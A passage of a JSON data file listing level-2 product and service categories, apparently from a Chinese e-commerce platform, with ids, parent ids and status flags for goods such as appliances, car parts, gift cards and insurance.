,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21438,"name":"迷你生活电器","parent_cid":20083,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21175,"name":"取暖器","parent_cid":20083,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21135,"name":"取暖桌","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21369,"name":"扫地机器人","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34202,"name":"沙发/布艺/地毯清洗机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21321,"name":"杀菌/消毒/出霉家电","parent_cid":20083,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21435,"name":"生活家电配件","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21434,"name":"生活商用电器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21320,"name":"无叶风扇","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21148,"name":"香薰机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21433,"name":"消毒水生成机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21136,"name":"吸尘器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21142,"name":"洗地机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34203,"name":"折叠洗衣机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21376,"name":"蒸汽清洁机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21188,"name":"蒸汽刷/手持挂烫机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21322,"name":"蒸汽拖把","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21458,"name":"桌面空气净化器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21432,"name":"其它生活家电","parent_cid":20083,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21495,"name":"单项安装","parent_cid":20092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21498,"name":"工程装修","parent_cid":20092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21493,"name":"监理","parent_cid":20092,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21501,"name":"家庭保维修","parent_cid":20092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21496,"name":"家庭装修","parent_cid":20092,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21497,"name":"局部装修","parent_cid":20092,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21500,"name":"软装配饰","parent_cid":20092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21494,"name":"设计","parent_cid":20092,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21502,"name":"装修检测治理","parent_cid":20092,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21524,"name":"汽车安全防护用品","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21519,"name":"汽车电子/电器","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21518,"name":"汽车服务","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21520,"name":"汽车内饰用品","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":34027,"name":"汽车清洗/美容/养护","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21521,"name":"汽车外饰品/外饰加装","parent_cid":20094,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":28008,"name":"汽车文化","parent_cid":20094,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28140,"name":"按摩枪","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21625,"name":"按摩椅/沙发","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21643,"name":"保健护具(护腰/膝/腿/颈)","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21627,"name":"电子秤","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21644,"name":"各类配件/耗材","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33905,"name":"个人清洁电器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21631,"name":"矫姿用品","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21661,"name":"家用护理辅助器材","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34046,"name":"颈/肩部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21645,"name":"口腔护理","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34044,"name":"美发电器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34043,"name":"美容/美体电器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33814,"name":"男士理容","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34041,"name":"手部/手臂按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21609,"name":"SPA机","parent_cid":20099,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21630,"name":"头部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34040,"name":"臀部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34038,"name":"膝/腿部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34039,"name":"眼部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34037,"name":"腰/背部按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34036,"name":"足部按摩器/足浴盆","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21651,"name":"其它个人护理","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34042,"name":"其他部位按摩器","parent_cid":20099,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21758,"name":"变速箱系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21755,"name":"车用附件","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21752,"name":"点火系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21754,"name":"电气系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21748,"name":"动力系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21757,"name":"防盗系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21744,"name":"供油系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21760,"name":"进排气系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21746,"name":"冷却系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21739,"name":"轮胎","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21738,"name":"滤芯","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21740,"name":"美容/维修/汽保工具","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21745,"name":"内饰系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21749,"name":"尿素系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21751,"name":"气动系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21741,"name":"外观件","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21750,"name":"悬挂系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21742,"name":"蓄电池","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21737,"name":"油品","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21743,"name":"雨刮器","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21753,"name":"照明系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21747,"name":"制动系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21756,"name":"转向系统","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21736,"name":"其他","parent_cid":20114,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22108,"name":"灯具灯饰","parent_cid":20116,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22096,"name":"光源","parent_cid":20116,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22164,"name":"不锈钢","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22151,"name":"钢材","parent_cid":20122,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22181,"name":"金属粉末","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22167,"name":"金属罐/桶/瓶","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22166,"name":"金属盒/箱/柜","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22190,"name":"金属加工件/五金加工件","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22188,"name":"金属结构件","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22165,"name":"金属丝/绳/缆","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22153,"name":"铝材","parent_cid":20122,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22159,"name":"丝网/金属网","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22152,"name":"铜材","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22180,"name":"硬质合金","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22179,"name":"有色金属","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22198,"name":"其他金属制品","parent_cid":20122,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34013,"name":"保健护理","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32656,"name":"防护用品","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33816,"name":"健康监测","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32654,"name":"家庭护理","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33817,"name":"康复理疗","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32640,"name":"血压计","parent_cid":32626,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34579,"name":"医疗器械","parent_cid":34578,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31923,"name":"潮品鞋服","parent_cid":20057,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21079,"name":"大家电","parent_cid":20057,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32632,"name":"回收/寄卖","parent_cid":20057,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26936,"name":"乐器","parent_cid":20057,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20926,"name":"图书","parent_cid":20057,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20930,"name":"玩具","parent_cid":20057,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21059,"name":"电脑/电脑配件","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26255,"name":"手机配件","parent_cid":32631,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26254,"name":"手机整机","parent_cid":32631,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21077,"name":"数码3C产品","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21222,"name":"网络设备","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21213,"name":"文体音像","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21046,"name":"相机/摄像机","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33058,"name":"小家电","parent_cid":32631,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21216,"name":"游戏设备","parent_cid":32631,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33057,"name":"智能设备","parent_cid":32631,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21214,"name":"服饰配件","parent_cid":32988,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21027,"name":"护理/鉴定/维修","parent_cid":32988,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21220,"name":"男士服装","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21221,"name":"男士鞋靴","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21207,"name":"女士服装","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21208,"name":"女士鞋靴","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20932,"name":"童鞋","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20931,"name":"童装","parent_cid":32988,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20934,"name":"腕表","parent_cid":32988,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20933,"name":"箱包","parent_cid":32988,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21217,"name":"珠宝首饰","parent_cid":32988,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20591,"name":"电信话费充值卡","parent_cid":20031,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33978,"name":"全网通/三网通 ","parent_cid":20031,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20582,"name":"特惠充值","parent_cid":20031,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20588,"name":"中国联通充值卡","parent_cid":20031,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20587,"name":"中国移动充值卡","parent_cid":20031,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21527,"name":"4G无线上网资费卡","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21549,"name":"广电充值","parent_cid":20096,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21566,"name":"固定电话充值","parent_cid":20096,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21554,"name":"流量周期包","parent_cid":20096,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21567,"name":"手机流量充值","parent_cid":20096,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21568,"name":"数据增值业务","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21558,"name":"套餐/增值业务办理续费","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21528,"name":"WIFI热点/无线套餐续费","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21574,"name":"新入网手机号套餐","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21550,"name":"有线宽带","parent_cid":20096,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21569,"name":"有线宽带充值","parent_cid":20096,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21582,"name":"网页游戏物品/资源","parent_cid":20097,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21579,"name":"游戏装备","parent_cid":20097,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33704,"name":"充电服务","parent_cid":20118,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22119,"name":"出行服务","parent_cid":20118,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22136,"name":"加油服务","parent_cid":20118,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22105,"name":"苹果卡","parent_cid":20118,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22122,"name":"社交交友","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22124,"name":"视频直播","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22123,"name":"网络工具","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22120,"name":"影视会员","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22102,"name":"音频FM","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34525,"name":"运动健身","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22104,"name":"账号充值/平台币","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22121,"name":"知识阅读","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34526,"name":"其他会员充值","parent_cid":20118,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22107,"name":"激活码/新手包","parent_cid":20119,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22128,"name":"游戏充值","parent_cid":20119,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32430,"name":"财产保险","parent_cid":31983,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32428,"name":"健康保险","parent_cid":31983,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32429,"name":"年金保险","parent_cid":31983,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32426,"name":"人寿保险","parent_cid":31983,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32427,"name":"意外保险","parent_cid":31983,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31969,"name":"机票","parent_cid":20034,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20642,"name":"增值服务","parent_cid":20034,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20701,"name":"3C数码配件兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20778,"name":"百货兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20817,"name":"本地化生活服务卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20744,"name":"冰淇淋卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20712,"name":"彩妆/香水/美妆工具卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20812,"name":"餐饮美食兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20807,"name":"成人奶粉兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20720,"name":"宠物/食品及用品卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20808,"name":"服饰配件兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20722,"name":"个护卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20721,"name":"家庭/个人清洁工具卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20729,"name":"酒类卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20768,"name":"粮油米面/南北干货/调味品","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20803,"name":"零食类兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20774,"name":"奶酪兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20726,"name":"男鞋卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20724,"name":"尿裤卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20769,"name":"女士内衣/男士内衣/家居服卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20723,"name":"女鞋卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20714,"name":"藕粉/麦片/冲饮兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20713,"name":"清洗/食品/商业设备卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20802,"name":"乳制品兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20809,"name":"生活电器兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20730,"name":"食品类","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20767,"name":"水产肉类/新鲜蔬果/熟食卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20765,"name":"速溶咖啡/咖啡豆/粉类兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20728,"name":"童鞋卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20727,"name":"童装卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20806,"name":"图书音像兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20725,"name":"玩具卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20819,"name":"文具电教文化用品兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20800,"name":"洗护清洁剂/卫生巾/纸/香薰","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20745,"name":"运动户外","parent_cid":20042,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20804,"name":"其他饮品兑换卡","parent_cid":20042,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21416,"name":"本地教育培训","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21417,"name":"常识兴趣","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21281,"name":"教学服务","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21361,"name":"家庭教育/儿童素质教育","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21280,"name":"技能培训","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21020,"name":"留学/游学","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extr